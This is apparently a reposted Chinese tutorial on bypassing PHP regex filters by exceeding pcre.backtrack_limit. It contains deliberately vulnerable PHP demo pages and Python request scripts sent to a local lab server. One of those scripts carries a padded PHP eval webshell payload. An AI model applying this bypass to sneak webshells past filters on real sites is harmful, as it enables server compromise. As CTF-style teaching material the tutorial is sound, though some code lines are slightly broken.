利用正则回溯最大次数上限进行绕过
文章目录
- 利用正则回溯最大次数上限进行绕过
- 什么是正则回溯?
- 为什么可以利用正则回溯进行绕过?
- php正则回溯绕过案例一
- php正则回溯绕过案例二
什么是正则回溯?
- 从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
非贪婪模式回溯过程:
复制代码
1
2
3text = "abc" regex = "ab{1,3}c"
为什么可以利用正则回溯进行绕过?
-
大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限
pcre.backtrack_limit
。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是false
表示此次执行失败。 -
在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
-
使用两个等号 == 比较,只比较值,不比较类型。
-
严格比较:用三个等号 === 比较,除了比较值,也比较类型。
-
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
-
复制代码
1
2
3"0" == false: bool(true) "0" === false: bool(false)
php正则回溯绕过案例一
PHP源码:
复制代码
1
2
3
4
5
6
7
8
9
10
11
12<?php $input = $_POST['file']; if(is_php($input)=='0') { echo "flag{raoguo-cenggong}"; }else{ echo "bad requests"; } function is_php($data){ return preg_match('/<?.*[(`;?>].*/is', $data); }
python绕过源码:
复制代码
1
2
3
4
5
6
7
8import requests datas = { 'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000 } res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas) print(res.text)
当回溯次数为999990次时的运行结果:
当回溯次数为1000000次时的运行结果:
php正则回溯绕过案例二
php源码:
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php function areyouok($greeting){ return preg_match('/Merry.*Christmas/is',$greeting); } $greeting=@$_POST['greeting']; if(!is_array($greeting)){ if(!areyouok($greeting)){ if(strpos($greeting,'Merry Christmas')!==false){ echo 'flag{cheng-gong}'; }else{ echo 'no have Merry Christmas'; } }else{ echo 'Bypass the failure'; } } ?>
python源码:
复制代码
1
2
3
4
5
6
7
8import requests datas = { 'greeting': 'Merry Christmas'+'h'*100000 } res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas) print(res.text)
运行结果:
python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
复制代码
1
2
3
4
5
6
7
8import requests datas = { 'greeting': h'*1000000 } res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas) print(res.text)
运行结果:
最后
以上就是懦弱枕头最近收集整理的关于利用正则回溯最大次数上限进行绕过利用正则回溯最大次数上限进行绕过的全部内容,更多相关利用正则回溯最大次数上限进行绕过利用正则回溯最大次数上限进行绕过内容请搜索靠谱客的其他文章。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复